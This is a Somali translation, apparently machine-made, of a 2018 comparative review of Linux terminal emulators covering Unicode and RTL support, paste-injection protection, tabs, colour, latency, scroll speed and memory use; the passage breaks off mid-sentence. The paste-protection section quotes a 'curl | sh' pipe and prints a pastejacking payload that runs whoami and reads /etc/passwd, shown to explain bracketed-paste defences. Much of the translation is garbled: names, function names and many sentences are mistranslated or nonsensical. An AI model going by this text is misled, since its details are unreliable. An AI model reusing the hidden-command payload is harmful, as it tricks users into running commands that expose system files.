Dulmar guud ee emulators terminal

Dhowr kelmadood oo ka soo baxay xafiiskayaga turjumaada: caadiyan qof kastaa wuxuu ku dadaalaa inuu turjumo agabkii iyo daabacaadadii ugu dambeeyay, annaguna kama reebin. Laakiin terminalku maaha wax la cusboonaysiiyo todobaadkii hal mar. Sidaa darteed, waxaan kuu turjunay maqaal uu qoray Antoine Beaupré, oo la daabacay guga 2018: inkastoo ay "da'da" aad u badan tahay heerarka casriga ah, fikraddayada, maaddadu ma lumin wax ku habboon oo dhan. Intaa waxaa dheer, tani waxay asal ahaan ahayd taxane laba maqaal ah, laakiin waxaan go'aansanay inaan ku darno hal boosto oo weyn.

Dulmar guud ee emulators terminal

Terminalku waxay ku leeyihiin meel gaar ah taariikhda kombuyuutarka, laakiin tobannaankii sano ee la soo dhaafay waxaa lagu qasbay inay ku noolaadaan iyagoo barbar socda khadka taliska maadaama is-dhexgal garaafyadu noqdeen kuwo meel walba yaal. Ku dayashada Terminalka bedelay koodii hardware walaalayaal, kuwaas oo, iyana, ahaa wax-ka-beddelka hababka ku salaysan kaadhadhka la feeray iyo beddelidda shilalka. Qaybinta casriga ah waxay la socotaa noocyo kala duwan oo ah emulators terminal oo leh qaabab iyo midabyo. In kasta oo qaar badani ay ku qanacsan yihiin terminaalka caadiga ah ee ay bixiso jawigooda shaqada, qaar ayaa si sharaf leh u isticmaala software qalaad si ay u socodsiiyaan qolofka ay jecel yihiin ama tifaftiraha qoraalka. Laakiin, sida aan ka arki doono maqaalkan, dhammaan terminaalka laguma abuurin muuqaal isku mid ah: waxay ku kala duwan yihiin shaqeynta, cabbirka iyo waxqabadka.

Terminal-yada qaarkood waxay leeyihiin godad ammaan oo la yaab leh, oo ay u dheer tahay intooda badani waxay leeyihiin hawlo kala duwan oo gebi ahaanba ka duwan, laga bilaabo taageerada is-dhexgalka tabbed ilaa qoraal-qorista. Inkastoo annagu eegay emulators terminal ee la soo dhaafay fog, Maqaalkani waa casriyeyn ku saabsan walxo hore oo ka caawin doona akhristayaasha inay ogaadaan terminalka la isticmaalayo 2018. Qaybta hore ee maqaalku waxay isbarbar dhigaysaa muuqaalada, qaybta labaadna waxay qiimaynaysaa waxqabadka.

Waa kuwan terminaalka aan dib u eegay:

Dulmar guud ee emulators terminal

Kuwani ma noqon karaan noocyadii ugu dambeeyay, tan iyo markii aan ku xaddidnaa dhismayaal deggan waqtiga qorista, taas oo aan awooday inaan ku soo rogo Debian 9 ama Fedora 27. Waxa kaliya ee ka reeban waa Alacritty. Waa farac ka mid ah terminaalka xawaaraha GPU-ga waxaana loogu qoray luqad aan caadi ahayn oo cusub hawshan - Rust. Waxaan ka saaray marinnada shabakadda dib u eegistayda (ay ku jiraan kuwa ku yaal Electronka), sababtoo ah imtixaanadii hordhaca ahaa waxay muujiyeen waxqabadkooda aadka u liita.

Taageerada Unicode

Waxaan imtixaanadayda ku bilaabay taageerada Unicode. Tijaabadii ugu horeysay ee terminalku waxay ahayd in laga soo saaro xadhiga Unicode Maqaallada Wikipedia: "é, Δ, И, ק, م, ๗, あ, 叶, 葉 iyo 말." Tijaabadan fudud waxay muujinaysaa in terminalku si sax ah u shaqayn karo aduunka oo dhan. Terminalka xterm ma muujiyo xarfo Carabi Mem qaabeynta caadiga ah:

Dulmar guud ee emulators terminal

Sida caadiga ah, xterm waxay isticmaashaa farta caadiga ah ee "fixed", taas oo, marka loo eego weli waa isku mid Vicky, waxa uu leeyahay "daboolan la taaban karo Unicode ilaa 1997". Waxaa jira wax ka socda fartan oo keenaya in jilaagu u muuqdo qaab madhan waana marka farta qoraalka la kordhiyo oo laga dhigo 20+ dhibcood marka ugu dambeyntii jilaagu bilaabo inuu si sax ah u muujiyo. Si kastaba ha ahaatee, "hagaajinta" waxay jebisaa muujinta xuruufta kale ee Unicode:

Dulmar guud ee emulators terminal

Shaashadahaan waxaa lagu qaaday Fedora 27, maadaama ay bixisay natiijooyin ka wanaagsan Debian 9, halkaas oo qaar ka mid ah noocyadii hore ee terminaalka (gaar ahaan mlterm) aysan si fiican u xamili karin xarfaha. Nasiib wanaag tan waxaa lagu hagaajiyay qoraaladii dambe.

Hadda u fiirso sida xariiqda loogu muujiyey xterm. Waxay soo baxday in calaamadda Mem iyo Semitic-ka soo socda qof tixraac qoraalada qaabka RTL (midig-ilaa-bidix), marka farsamo ahaan waa in laga soo bandhigaa midig ilaa bidix. Daalacashada shabakada sida Firefox 57 ayaa si sax ah u maamula xariiqda kore. Nooca ka fudud ee qoraalka RTL waa ereyga "Sarah" ee Cibraaniga (שרה). Bogga Wiki ee qoraallada laba jiho ah wuxuu yidhi:

"Barnaamijyo badan oo kombuyuutar ah si sax ah uma soo bandhigi karaan qoraalka laba jiho. Tusaale ahaan, magaca Cibraaniga "Sarah" wuxuu ka kooban yahay jilayaasha dembiga (ש) (kaas oo ka muuqda midigta), ka dibna resh (ר) iyo ugu dambeyntii isaga (ה) (kaas oo ka muuqan doona bidixda)."

Terminal badan ayaa ku guuldareysta imtixaankan: Alacritty, VTE-derived Gnome iyo XFCE terminal, urxvt, st iyo xterm bandhigay "Sara" siday u kala horreeyaan, sida haddii aan magaca u qornay "Aras".

Dulmar guud ee emulators terminal

Dhibaato kale oo ka haysata qoraallada laba-jiho ah ayaa ah inay u baahan yihiin in si uun loo toosiyo, gaar ahaan marka ay timaado isku darka qoraallada RTL iyo LTR. Qoraallada RTL waa inay ka socdaan dhinaca midig ee daaqadda terminaalka, laakiin maxaa ku dhici doona terminaalka aan ku habboonayn LTR Ingiriisiga? Badankoodu ma laha habab gaar ah waxayna ku toosiyaan qoraalka oo dhan bidix (oo ay ku jirto Konsole). Waxa ka reebban waa pterm iyo mlterm, kuwaas oo u hoggaansama jaangooyooyinka isla markaana si sax ah u toosinaya khadadka noocaas ah.

Dulmar guud ee emulators terminal

Ilaalinta gelitaanka

Tilmaamaha xiga ee muhiimka ah ee aan aqoonsaday waa ilaalinta ka-hortagga galitaanka. In kasta oo la wada ogsoon yahay in loo higgaadiyo sida:

$ curl http://example.com/ | sh

waa amarrada riixitaanka code fulinta, dad yar ayaa og in amarrada qarsoon ay ku soo dhex dhuuman karaan console-ka marka la koobiyeynayo oo laga dhejinayo biraawsarkaaga shabakadda, xitaa ka dib marka si taxaddar leh loo eego. Goobta xaqiijinta Gianna Horna si cajiib ah u muujinayaa sida uu u egyahay amarku yahay:

git clone git: //git.kernel.org/pub/scm/utils/kup/kup.git

Waxay isu beddeshaa dhib sidaan oo kale ah marka laga soo dhejiyo mareegta Horn oo la galo terminalka:

git clone /dev/null;
    clear;
	echo -n "Hello ";
	whoami|tr -d 'n';
	echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! 
	Here'"'"'s the first line of your /etc/passwd: ';
	head -n1 /etc/passwd
	git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

Sidee u shaqeysaa? Koodhka xaasidnimada leh ayaa ku jira block , kaas oo laga saaray aragtida isticmaalaha iyadoo la isticmaalayo CSS.

Habka koollada ee goglan si cad ayaa loogu talagalay in laga takhaluso weerarradaas. Habkan, terminalku waxay ku lifaaqaan qoraalka dhejiska ah ee laba taxane ah oo baxsad ah si ay qolofka ugu sheegaan asalka qoraalka. Tani waxay u sheegaysaa qolofka in uu iska indho tiri karo xarfo gaar ah oo qoraalka la dhejiyay uu ku jiri karo. Dhammaan terminaalka dib loogu celiyo xterm-ka la ixtiraamo waxay taageeraan sifadan, laakiin ku dhejinta qaabka Bracketed waxay u baahan tahay taageerada qolofka ama codsiga ku socda terminalka. Tusaale ahaan, isticmaalka software Khadka Akhriska ee GNU (isku Bash), wuxuu u baahan yahay fayl ~/. gelida:

set enable-bracketed-paste on

Nasiib darro, goobta tijaabada Horn waxay sidoo kale muujineysaa sida looga gudbi karo ilaalintan iyada oo loo marayo habaynta qoraalka lafteeda oo si degdeg ah u dhammayso in lagu dabaqo qaabka Bracketed. Tani waxay shaqeysaa sababtoo ah qaar ka mid ah terminaalka si sax ah uma shaandheeyaan taxanaha baxsadka ka hor intaysan ku darin kooda. Tusaale ahaan, gudahayga waligay ma awoodin inaan si guul leh u dhamaystiro imtixaanada Konsole xitaa iyadoo la raacayo qaabaynta saxda ah .inputrc fayl Tani waxay ka dhigan tahay inaad si fudud u heli karto habaynta nidaamkaaga oo xumaaday codsi aan la taageerin ama qolof si khaldan loo habeeyey. Tani waxay si gaar ah khatar u tahay markaad gelayso server-yada fog-fog, halkaas oo shaqada qaabeynta taxaddarku ay aad uga yar tahay, gaar ahaan haddii aad haysato mashiinno badan oo fog.

Xalka wanaagsan ee dhibaatadan waa plugin xaqiijinta koollada ee terminalka uxvt, kaas oo si fudud u weydiista ogolaansho si loo geliyo qoraal kasta oo ka kooban khadadka cusub. Ma helin meel ka ammaan badan weerarka qoraalka ah ee uu Geeska Afrika tilmaamay.

Tabs iyo profiles

Muuqaal caan ah hadda waa taageerada interface tabbeded, kaas oo aan ku qeexi doono hal daaqad terminal oo ka kooban dhowr terminal kale. Shaqadani waxay ku kala duwan tahay terminalyada kala duwan, iyo in kasta oo terminal dhaqameedku aysan taageerin tabs gabi ahaanba, xirmooyin casri ah oo casri ah sida Xfce Terminal, GNOME Terminal iyo Konsole ayaa leh shaqadan. Urxvt sidoo kale waxay taageertaa tabs, laakiin kaliya haddii aad isticmaasho plugin. Laakiin marka la eego taageerada tab lafteeda, Terminator waa hogaamiyaha aan la isku khilaafin: kaliya ma taageerto tabs, laakiin sidoo kale wuxuu diyaarin karaa marinada hab kasta (fiiri sawirka hoose).

Dulmar guud ee emulators terminal

Sifada kale ee Terminator-ka ayaa ah awooda in la “kooxo” tabsiyadan isla markaana isku mar loo diro furayaal isku mid ah terminal badan, taasoo bixisa qalab cayriin ah oo lagu fulinayo hawlgalo badan oo servero badan isku mar ah. Qaab la mid ah ayaa sidoo kale laga hirgeliyay Konsole. Si aad ugu isticmaasho sifadan terminaalka kale, waa inaad isticmaashaa software dhinac saddexaad ah sida Kooxda SSH, xlax ama tmux.

Tabs ayaa si gaar ah u shaqeeya marka lagu lammaaniyo profiles: tusaale ahaan, waxaad yeelan kartaa hal tab oo iimayl ah, mid kale oo lagu sheekeysto, iyo wixii la mid ah. Tan waxaa si fiican u taageera Konsole Terminal iyo GNOME Terminal. Labaduba waxay ogolaadaan tab kasta inuu si toos ah u bilaabo profile u gaar ah. Terminator sidoo kale wuxuu taageeraa profiles, laakiin maan helin hab aan si toos ah u bilaabo barnaamijyada qaarkood markaad furto tab gaar ah. Terminal kale ma laha fikradda "profile" gabi ahaanba.

Ruffles

Waxa ugu dambeeya ee aan ku dabooli doono qaybta hore ee maqaalkan waa muuqaalka terminalka. Tusaale ahaan GNOME, Xfce iyo urxvt waxay taageeraan hufnaanta, laakiin dhawaanahan waxay hoos u dhigeen taageerada sawirada asalka ah, oo ku qasbay isticmaalayaasha qaarkood inay u beddelaan terminalka Tilix. Shakhsi ahaan, waan ku faraxsanahay, wayna fududahay Sources, kaas oo dejinaya gunta asalka ah ee midabada asalka ah ee urxvt. Si kastaba ha ahaatee, mawduucyada midabka aan caadiga ahayn ayaa sidoo kale abuuri kara dhibaatooyin. Tusaale ahaan, Daylaminta ma shaqeynayo codsiyo leh htop и IPTraf, maadaama ay horeba u isticmaalaan midabkooda.

Terminalka asalka ah ee VT100 midabada ma taageerin, kuwa cusubna waxay inta badan ku koobnaayeen palette midab leh 256. Isticmaalayaasha horumarsan ee qaabeeya terminalkooda, kicinta qolofka ama baararka heerka siyaalo adag waxay ku noqon kartaa xaddidid cadho leh. Gist raadraaco terminalku leeyahay taageerada " Midabka Dhabta ah ". Tijaabooyinkeygu waxay xaqiijinayaan in st, Alacritty iyo VTE-ku-saleysan terminaalka ay si fiican u taageeraan Midabka Dhabta ah. Terminal-yada kale si fiican uma fiicna arrintan, dhab ahaantii, xitaa ma muujiyaan 256 midab. Hoos waxaad ka arki kartaa farqiga u dhexeeya taageerada midabka dhabta ah ee terminaalka GNOME, st iyo xterm, kuwaas oo shaqo fiican ka qabta tan iyaga oo wata 256 midab leh, iyo urxvt, kuwaas oo aan kaliya ku dhicin imtixaanka, laakiin xitaa waxay muujinayaan qaar ka mid ah jilayaasha birta ah.

Dulmar guud ee emulators terminal

Terminlada qaar ayaa sidoo kale u falanqeeya qoraalka qaababka URL si ay uga dhigaan xiriiriyeyaasha la riixi karo. Tani waxay khusaysaa dhammaan terminaalka laga soo qaatay VTE, halka urxvt uu u baahan yahay plugin gaar ah oo u beddela URL-yada gujin ama isticmaalaya furaha kiiboodhka. Meelo kale oo aan tijaabiyay URL-yada bandhiga siyaabo kale.

Ugu dambeyntii, isbeddelka cusub ee terminalku waa ikhtiyaarka kaydinta duubka. Tusaale ahaan, st ma laha wax kaydiya; waxaa loo maleynayaa in isticmaaluhu uu isticmaali doono multiplexer terminal sida tmux iyo GNU Screen.

Alacritty sidoo kale waxa ka maqan kayd-celin-celin, laakiin waa lagu dari doonaa dhawaan taageeradeeda sababtoo ah "celin ballaaran" mawduucan oo ka yimid isticmaalayaasha. Marka laga reebo kuwan hore, terminal kasta oo aan tijaabiyey in aan heli karo taageerooyin dib-u-rogid.

Isku geyn hoose

Qaybta labaad ee agabka (asal ahaan kuwani waxay ahaayeen laba maqaal oo kala duwan - qiyaastii. haad) waxaanu is barbar dhigi doonaa waxqabadka, isticmaalka xusuusta iyo daahitaanka. Laakiin waxaan horeyba u arki karnaa in qaar ka mid ah terminalka su'aasha ay leeyihiin cillado culus. Tusaale ahaan, isticmaalayaasha sida joogtada ah ula shaqeeya qoraalada RTL waxaa laga yaabaa inay rabaan inay tixgeliyaan mlterm iyo pterm, maadaama ay kaga fiican yihiin qabashada hawlo la mid ah kuwa kale. Konsole ayaa sidoo kale soo bandhigtay waxqabad wanaagsan. Isticmaalayaasha aan ku shaqayn qoraallada RTL waxay dooran karaan wax kale.

Marka la eego ka-hortagga galitaanka koodhka xaasidnimada leh, urxvt waxay u taagan tahay sababtoo ah hirgelinta gaarka ah ee ilaalinta ka hortagga weerarka noocan ah, taas oo runtii ii muuqata mid igu habboon. Kuwa raadinaya xoogaa gambaleel iyo foori, Konsole waa u qalantaa in la eego. Ugu dambeyntii, waxaa xusid mudan in VTE ay tahay saldhigga ugu fiican ee terminaalka, kaas oo dammaanad qaadaya taageerada midabka, aqoonsiga URL, iyo wixii la mid ah. Jaleecada hore, terminalka caadiga ah ee la socda jawiga aad jeceshahay ayaa laga yaabaa inuu buuxiyo dhammaan shuruudaha, laakiin aan u dhaafno su'aashan mid furan ilaa aan fahamno waxqabadka.

Aan wada hadalka sii wadno


Guud ahaan, waxqabadka terminaalka laftiisa ayaa laga yaabaa inuu u ekaado dhibaato fog, laakiin sida ay soo baxday, qaar ka mid ah ayaa muujinaya daahitaanka sare ee software ee nooca aasaasiga ah. Sidoo kale soo socda waxaan eegi doonaa waxa dhaqan ahaan loo yaqaan "xawaaraha" (xaqiiqda, kani waa xawaaraha duubista) iyo isticmaalka xusuusta ee terminaalka (iyadoo la ogsoon yahay in tani aysan ahayn mid muhiim ah maanta sidii ay ahayd tobanaan sano ka hor).

Dib u dhac

Daraasad qotodheer oo ku saabsan waxqabadka terminal ka dib, waxaan imid gabagabada in halbeegga ugu muhiimsan ee arrintani uu yahay latency (ping). Maqaalkiisa "Waxaan ku daabacnaa farxad" Pavel Fatin waxa uu eegay daahida tifaftirayaasha kala duwan ee qoraalka waxa uuna ka dhawaajiyay in terminaalka arrintani uu ka gaabin karo tifaftirayaasha qoraalka ugu dhaqsaha badan. Waxay ahayd tilmaantan tan ugu dambeyntii igu keentay inaan tijaabiyo imtixaannadayda oo aan qoro maqaalkan.

Laakiin waa maxay daahitaanku, maxayse muhiim u tahay? Maqaalkiisa, Fatin wuxuu ku qeexay "daahitaanka u dhexeeya riixitaanka furaha iyo cusbooneysiinta shaashadda" oo uu soo xigtay. "Hagaha Is-dhexgalka Aadanaha iyo Kumbuyuutarka", kaas oo odhanaya: "Dib u dhigista jawaab celinta muuqaalka ee bandhigga kombuyuutarku waxay saameyn muhiim ah ku leedahay habdhaqanka farsamada iyo qanacsanaanta."

Fatin wuxuu sharxayaa in ping-kani uu leeyahay cawaaqib qoto dheer oo aan ahayn ku qanacsanaanta oo kaliya: "qorista waxay noqotaa mid gaabis ah, khaladaad badan ayaa dhacaya, iyo dareenka indhaha iyo murqaha ayaa kordha." Si kale haddii loo dhigo, dib u dhac weyn wuxuu u horseedi karaa typos iyo sidoo kale tayada koodka oo hoos u dhacda, maadaama ay keento culeys dheeri ah oo garashada maskaxda. Laakiin waxa ka sii daran waa in ping-ku "kordhiyo cadaadiska isha iyo murqaha," taas oo u muuqata inay tilmaamayso horumarinta dhaawacyada shaqada mustaqbalka (Sida muuqata, qoraagu wuxuu loola jeedaa dhibaatooyinka muruqyada indhaha, dhabarka, gacmaha iyo, dabcan, aragtida - qiyaastii. haad) diiqada soo noqnoqda awgeed.

Qaar ka mid ah saameyntan ayaa la ogaa muddo dheer, iyo natiijooyinka cilmi, oo dib loo daabacay 1976 joornaalka Ergonomics, ayaa sheegay in dib u dhigista 100 millise seconds "ay si weyn u waxyeeleyso xawaaraha qorista." Dhawaanahan, Hagaha Isticmaalaha GNOME ayaa la soo bandhigay waqtiga jawaabta la aqbali karo 10 millise seconds, iyo haddii aad sii socoto, markaa Baaritaanka Microsoft waxay muujinaysaa in 1 millisecond ay ku habboon tahay.

Fatin waxa uu tijaabooyinkiisa ku sameeyay tifaftirayaasha qoraalka; wuxuu sameeyay qalab la qaadi karo oo la yiraahdo Qalabka garaaca, Kaas oo aan ku tijaabin jiray ping-ka ee emulators-ka. Maskaxda ku hay in tijaabada lagu sameeyay qaabka jilitaanka: dhab ahaantii, waxaan u baahanahay inaan xisaabta ku darno labadaba (keyboard, controller USB, iwm.) iyo wax soo saarka (kormeerka fiidiyooga, kormeeraha) daahitaanka. Sida laga soo xigtay Fatin, qaabeynta caadiga ah waxay ku saabsan tahay 20 ms. Haddii aad haysato qalabka ciyaaraha, waxaad ku gaadhi kartaa tiradan 3 millise seconds oo keliya. Maadaama aan horeyba u haysanay qalab degdeg ah, codsigu maaha inuu ku daro daahitaankiisa. Hadafka Fatin waa in ay keento daahida codsiga ilaa 1 millise seconds, ama xitaa garaacid la'aan dib u dhac la qiyaasi karo, sida in IDEA IntelliJ IDEA 15.

Waa kuwan natiijooyinka cabbiradeyda, iyo sidoo kale qaar ka mid ah natiijooyinka Fatin, si aan u tuso in tijaabadaydu ku raacsan tahay tijaabooyinkiisa:

Dulmar guud ee emulators terminal

Waxa ugu horreeya ee i dhuftey waxay ahayd waqtiga jawaabta ugu wanaagsan ee barnaamijyada hore sida xterm iyo mlterm. Iyaga oo daahida diiwangelinta ugu liidatay (2,4 ms), waxay sameeyeen si ka wanaagsan terminaalka casriga ah ee ugu dhaqsiyaha badan (10,6 ms for st). Ma jiro terminal casri ah oo ka hooseeya heerka 10 millise seconds. Gaar ahaan, Alacritty waxay ku guuldarraysatay inay la kulanto "ku-sameeyaha ugu dhaqsaha badan ee la heli karo" sheegashada, in kasta oo buundooyinkeedu ay soo fiicnaadeen tan iyo dib u eegisteedii ugu horreysay ee 2017. Runtii, qorayaasha mashruuca ka war haya xaaladda waxayna ka shaqeynayaan sidii ay u hagaajin lahaayeen bandhigga. Waa in sidoo kale la ogaadaa in Vim oo isticmaalaya GTK3 ay tahay amar ka gaabinaya dhiggiisa GTK2. Tan waxaan ku soo gabagabeyn karnaa in GTK3 ay abuurto daahitaan dheeri ah, tanina waxay ka muuqataa dhammaan marinnada kale ee adeegsada (Terminator, Xfce4 Terminal iyo GNOME Terminal).

Si kastaba ha ahaatee, kala duwanaanshiyaha ayaa laga yaabaa inaan la dareemin isha. Sida Fatin u sharaxday, "ma aha inaad ka warqabto daahitaanku si uu saamayn kuugu yeesho." Fatin waxa kale oo ay ka digtay weecitaanka caadiga ah: "wax kasta oo khalkhal ku yimaada daahitaanka (jitter) waxay abuuraan walaac dheeraad ah sababtoo ah lama saadaalin karo."

Dulmar guud ee emulators terminal

Jaantuska sare waxa lagu qaaday Debian 9 saafi ah oo leh i3 maamulaha daaqada. Deegaankani wuxuu soo saaraa natiijooyinka ugu fiican ee imtixaannada daahitaanka. Markay soo baxdo, GNOME waxay abuurtaa 20 ms ping oo dheeri ah dhammaan cabirrada. Sharaxaada suurtogalka ah ee tan waa joogitaanka barnaamijyo leh habayn isku mid ah oo dhacdooyinka gelinta. Fatin ayaa tusaale u soo qaadanaysa kiiskan oo kale Shaqada shaqada, kaas oo ku dara dib u dhac isagoo u habaynaya dhammaan dhacdooyinka gelinta si isku mid ah. Sida caadiga ah, GNOME sidoo kale waxay la socotaa maamulaha daaqada Mutter, kaas oo abuura lakab dheeraad ah oo bakhtiya, kaas oo saameeya ping oo ku dara ugu yaraan 8 millise seconds ee daahitaanka.

Dulmar guud ee emulators terminal

Xawaaraha rogo

Tijaabada xigta waa imtixaan dhaqameed "xawaaraha" ama "bandwidth", kaas oo cabbiraya sida ugu dhakhsaha badan ee terminalku u rogi karo bogga isagoo muujinaya cadad badan oo qoraal ah shaashadda. Farsamooyinka imtixaanku way kala duwan yihiin; Tijaabada asalka ah waxay ahayd in si fudud loo soo saaro isla xargaha qoraalka iyadoo la adeegsanayo amarka seq. Tijaabooyin kale waxaa ka mid ah Thomas E. Dickey's (xterm maintainer), kaas oo soo noqnoqda faylka terminfo.src waa la soo dejiyay. In dib u eegis kale ee waxqabadka terminal Den Luu waxay isticmaashaa xadhig baas32 ah oo bayts random ah, kaas oo ka soo baxa terminalka iyadoo la isticmaalayo bisad. Luu waxay tixgalinaysaa tijaabadan oo kale in uu yahay "barbeeg aan faa'iido lahayn oo la qiyaasi karo" waxayna soo jeedinaysaa isticmaalka jawaabta terminal sida mitirka aasaasiga ah. Dickey sidoo kale wuxuu imtixaankiisa ku tilmaamay mid marin habaabin ah. Si kastaba ha ahaatee, labada qoraaba waxay qireen in xadhkaha daaqada ee terminal ay noqon karto arrin. Luu waxay heshay Emacs Eshell baraf marka uu soo bandhigayo faylal waaweyn, Dickeyna waxa uu hagaajiyay terminalka si uu uga takhaluso caajisnimada aragga ee xtrerm. Markaa weli waxaa jira xoogaa mudnaan ah oo ku jira imtixaankan, laakiin maadaama habka wax-soo-saarku uu aad uga duwan yahay terminal ilaa terminal, waxa kale oo loo isticmaali karaa qayb tijaabo ah si loo tijaabiyo cabbirro kale.

Dulmar guud ee emulators terminal

Halkan waxaan ku aragnaa rxvt iyo st ka hor tartanka, oo ay ku xigto kan aadka u cusub ee Alacritty, kaas oo loogu talagalay iyada oo diiradda la saarayo waxqabadka. Ku xiga waa Xfce (qoyska VTE) iyo Konsole, kuwaas oo ku dhawaad ​​laba laab ka dheereeya. Ugu dambeeya waa xterm, kaas oo shan jeer ka hooseeya rxvt. Inta lagu guda jiro imtixaanka, xterm sidoo kale wax badan ayaa jeexay, taas oo ka dhigaysa gudbinta qoraalka mid adag in la arko xitaa haddii uu yahay isla xariiq. Konsole aad buu u dheereeyey, laakiin mararka qaar way dhib badnaan jirtay: soobandhigu wuu barafoobayaa wakhti ka waqti, isagoo muujinaya qoraal qayb ah ama aan muujinayn gabi ahaanba. Terminal kale ayaa si cad u soo bandhigay xadhkaha, ay ku jiraan st, Alacritty, iyo rxvt.

Dickey wuxuu sharxayaa in kala duwanaanshiyaha wax qabadku ay sabab u tahay naqshadaynta xargaha-rog-rogadka ee marinnada kala duwan. Gaar ahaan, wuxuu ku eedeeyay rxvt iyo terminal kale "aanan raacin xeerarka guud":

"Si ka duwan xterm, rxvt iskuma dayin inuu soo bandhigo dhammaan cusbooneysiinta. Haddii ay dib u dhacdo, waxay diidi doontaa qaar ka mid ah cusbooneysiinta si ay u qabato. Tani waxay saameyn weyn ku yeelatay xawaaraha duubista ee muuqda marka loo eego ururka xusuusta gudaha. Hal cilad ayaa ahayd in animation-ka ASCII uu ahaa mid aan sax ahayn."

Si loo hagaajiyo caajisnimadan la dareemayo, Dickey waxay soo jeedinaysaa isticmaalka kheyraadka deg deg, u oggolaanaysa xterm inay iska tuurto qaar ka mid ah cusbooneysiinta shaashadda si ay ula socoto socodka. Tijaabooyinkeygu waxay xaqiijinayaan in FastScroll uu hagaajiyo waxqabadka oo uu keeno xterm si la mid ah rxvt. Tani waa, si kastaba ha ahaatee, qolof aad u qallafsan, sida Dickey laftiisa uu sharaxay: "mararka qaarkood xterm - sida konsole - waxay u muuqataa inay istaagto iyada oo sugaysa shaashad cusub oo cusub ka dib markii qaar laga saaray." Xididan, waxay u muuqataa in terminal kale ay heleen tanaasulka ugu fiican ee u dhexeeya xawaaraha iyo daacadnimada bandhigga.

Isticmaalka kheyraadka

Iyadoo aan loo eegin haddii ay macno samaynayso in loo tixgeliyo xawaaraha wareega sida mitirka waxqabadka, imtixaankani wuxuu noo ogolaanayaa inaan ku ekayno culeyska ku yaala terminaalka, taas oo markaa noo ogolaanaysa inaan cabbirno cabbirada kale sida isticmaalka xusuusta ama isticmaalka diskka. Qiyaasta waxaa lagu helay iyadoo la wado imtixaanka la cayimay seq iyadoo la raacayo la socodka nidaamka Python. Wuxuu ururiyay xogta mitirka xamaasad() si ay u ru_maxrss, qadar ru_oublock и ru_inblock iyo saacad fudud.

Dulmar guud ee emulators terminal

Imtixaankan, ST wuxuu ku qaataa booska koowaad ee isticmaalka celceliska ugu hooseeya ee 8 MB, taas oo aan la yaab lahayn iyadoo la tixgelinayo in fikradda ugu weyn ee naqshadeynta ay tahay mid fudud. mlterm, xterm iyo rxvt waxay cunaan in yar oo dheeraad ah - ilaa 12 MB. Natiijo kale oo xusid mudan waa Alcritty, oo u baahan 30 MB si uu u shaqeeyo. Kadibna waxaa jira terminal qoyska VTE oo leh tirooyinka 40 ilaa 60 MB, taas oo aad u badan. Isticmaalka waxaa lagu sharxi karaa xaqiiqda ah in terminaalkani ay isticmaalaan maktabado heer sare ah, tusaale ahaan, GTK. Konsole ayaa ugu danbeyn ku soo gashay 65MB ee isticmaalka xusuusta inta lagu jiro imtixaanada, in kasta oo tan lagu cadeyn karo sifooyinkeeda kala duwan.

Marka la barbar dhigo natiijooyinkii hore ee la helay toban sano ka hor, dhammaan barnaamijyadu waxay bilaabeen inay si muuqata u cunaan xusuus aad u badan. Xterm waxay u baahan tahay 4 MB, laakiin hadda waxay u baahan tahay 15 MB marka la bilaabayo. Waxaa jira koror la mid ah isticmaalka rxvt, kaas oo hadda u baahan 16 MB oo ka baxsan sanduuqa. Terminalka Xfce wuxuu qaataa 34 MB, kaas oo saddex jeer ka weyn sidii hore, laakiin GNOME Terminal wuxuu u baahan yahay 20 MB oo keliya. Dabcan, dhammaan imtixaanadii hore waxaa lagu fuliyay qaab dhismeedka 32-bit. LCA 2012 Rusty Russell sheegay, inay jiraan sababo badan oo khiyaano badan oo sharxi kara kororka isticmaalka xusuusta. Markaan sidaa idhi, hadda waxaan ku noolnahay waqti aan haysanno gigabytes oo xusuusta ah, si aan u maareyno si uun.

Si kastaba ha ahaatee, anigu kama caawin karo, laakiin waxaan dareemayaa in u qoondaynta xusuusta dheeraadka ah shay aasaas u ah sida terminalku ay tahay khasaare hanti. Barnaamijyadani waa inay ahaadaan kuwa ugu yar kuwa ugu yar, waa inay awoodaan inay ku shaqeeyaan "sanduuqa" kasta, xitaa sanduuqa kabaha, haddii aan waligeen u nimaadno meesha ay u baahan yihiin in lagu qalabeeyo nidaamyada Linux (oo aad ogtahay inay sidaas noqon doonto. ) . Laakiin tirooyinkan, isticmaalka xusuusta ayaa noqon doona arrin mustaqbalka mustaqbalka deegaan kasta oo ku shaqeeya terminal badan oo aan ka ahayn dhowr ka mid ah kuwa ugu fudud uguna xaddidan awoodaha. Si taas loo magdhabo, GNOME Terminal, Konsole, urxvt, Terminator iyo Xfce Terminal waxay leeyihiin qaab Daemon kaas oo kuu oggolaanaya inaad ku maamusho terminal badan iyada oo loo marayo hal nidaam, xaddidaya isticmaalkooda xusuusta.

Dulmar guud ee emulators terminal

Intii lagu guda jiray imtixaanada, waxaan u imid natiijo kale oo lama filaan ah oo ku saabsan akhriska-qorista diskka: Waxaan filayey inaanan waxba ku arkin halkan, laakiin waxaa soo baxday in terminalyada qaarkood ay ku qoraan xogta ugu badan ee diskka. Marka, maktabadda VTE waxay dhab ahaantii ku haysaa kaydka duubka ee diskka (sifadan ayaa dib loo ogaaday 2010kii, tanina weli way socotaa). Laakin si ka duwan hirgalintii hore, hadda ugu yaraan xogtan waa sir iyadoo la isticmaalayo AES256 GCM (laga bilaabo nooca 0.39.2). Laakiin su'aal macquul ah ayaa soo baxaysa: waa maxay waxa gaarka ah ee ku saabsan maktabadda VTE oo ay u baahan tahay habka aan caadiga ahayn ee hirgelinta...

gunaanad

Qaybta hore ee maqaalka, waxaan ku ogaanay in terminaalka ku saleysan VTE ay leeyihiin astaamo wanaagsan, laakiin hadda waxaan aragnaa in tani ay la socoto kharashyada waxqabadka qaarkood. Hadda xasuustu maaha arrin sababtoo ah dhammaan terminaalka VTE waxaa lagu xakameyn karaa habka Daemon, kaas oo xaddidaya rabitaankooda. Si kastaba ha noqotee, nidaamyada da'da ah ee leh xaddidaad jireed oo ku saabsan xaddiga RAM iyo kernel buffers ayaa laga yaabaa inay weli u baahan yihiin noocyadii hore ee terminaalka, maadaama ay cunaan kheyraad aad u yar. In kasta oo terminaalka VTE ay si fiican u sameeyeen imtixaannada wax-soo-saarka (rogid), daahitaankooda ayaa ka sarreeya heerka loo dejiyay Hagaha Isticmaalaha GNOME. Horumarinta VTE waa inay tan xisaabta ku dartaa. Haddii aan xisaabta ku darno in xitaa isticmaalayaasha Linux ee cusub ee la kulma terminal ay lama huraan tahay, waxay ka dhigi karaan isticmaale 